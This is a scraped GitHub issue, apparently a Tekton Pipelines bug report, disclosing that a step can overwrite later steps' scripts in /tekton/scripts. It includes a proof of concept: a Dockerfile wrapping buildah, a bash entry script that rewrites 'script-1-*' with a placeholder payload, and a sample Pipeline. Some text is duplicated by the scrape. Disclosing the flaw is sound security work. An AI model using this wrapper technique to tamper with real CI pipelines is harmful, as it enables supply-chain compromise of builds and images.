You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This can also affect real tasks such as the buildah one in the catalog either by having a malicious base image or maybe by injecting code in through the unescaped params
Any task with 2+ script steps and a method of changing what is ran in the first script block.
It has to be done from a preceeding script block as the script workspace/volume is only mounted when required for scripts
Dockerfile
FROM quay.io/buildah/stable:v1.17.0
RUN mv /bin/buildah /bin/.buildah && yum install findutils -y
COPY ./entry-buildah /bin/buildah
./entry-buildah
#!/bin/bash
MYFILE="$(find /tekton/scripts -name 'script-1-*'2>/dev/null)"if [ "$MYFILE"!="" ];thenecho"#!/bin/sh echo something malicious like pushing the image elsewhere">"$MYFILE"
chmod +x "$MYFILE"fiexec -a "$0""/bin/.buildah""$@"
Sample Pipeline
---
apiVersion: tekton.dev/v1beta1kind: Pipelinemetadata:
name: buildah-pipelinespec:
workspaces:
- name: sourcedescription: The workspace containing the source code which is to be build, pushed and deployedtasks:
- name: clonetaskRef:
name: git-cloneworkspaces:
- name: outputworkspace: sourceparams:
- name: urlvalue: https://github.com/kelseyhightower/nocode
- name: buildahtaskRef:
name: buildahrunAfter:
- cloneworkspaces:
- name: sourceworkspace: sourceparams:
# Change to an image based on the Dockerfile above
- name: BUILDER_IMAGEvalue: IMAGE# Change depending on your registry although the push shouldn't happen
- name: IMAGEvalue: registry:12345/sample
- name: TLSVERIFYvalue: "false"
Additional Info
Scripts in /tekton/scripts should by default be mounted readonly as they shouldn't be modified at runtime.
Filesystem permissions alone can't be relied upon for preventing them being modified as images can be root by default or maybe require root.
Some users may also want to set the initContainer writing the scripts to a non-root user, this can also happen creating tekton resources in an openshift project.
If there is a usecase for changing the behaviour of following steps the following step should change it's own behaviour in an expected way upon reading a change in a volume.
Expected Behavior
Expected the scripts to be uneditable after placement
read-only file system: /tekton/scripts
Actual Behavior
You can edit scripts from within steps. If this modification is done ahead of a step executing and results in the modified behaviour.
Steps to Reproduce the Problem
This was done using tekton deployed by the
0.22.0-1
edition of the operatorApply and run the below task
This can also affect real tasks such as the buildah one in the catalog either by having a malicious base image or maybe by injecting code in through the unescaped params
Any task with 2+ script steps and a method of changing what is ran in the first script block.
It has to be done from a preceeding script block as the script workspace/volume is only mounted when required for scripts
Dockerfile
./entry-buildah
Sample Pipeline
Additional Info
Scripts in
/tekton/scripts
should by default be mounted readonly as they shouldn't be modified at runtime.Filesystem permissions alone can't be relied upon for preventing them being modified as images can be root by default or maybe require root.
Some users may also want to set the initContainer writing the scripts to a non-root user, this can also happen creating tekton resources in an openshift project.
If there is a usecase for changing the behaviour of following steps the following step should change it's own behaviour in an expected way upon reading a change in a volume.
This was discovered during some of our threatmodeling & issue hunting at https://github.com/controlplaneio/
The text was updated successfully, but these errors were encountered: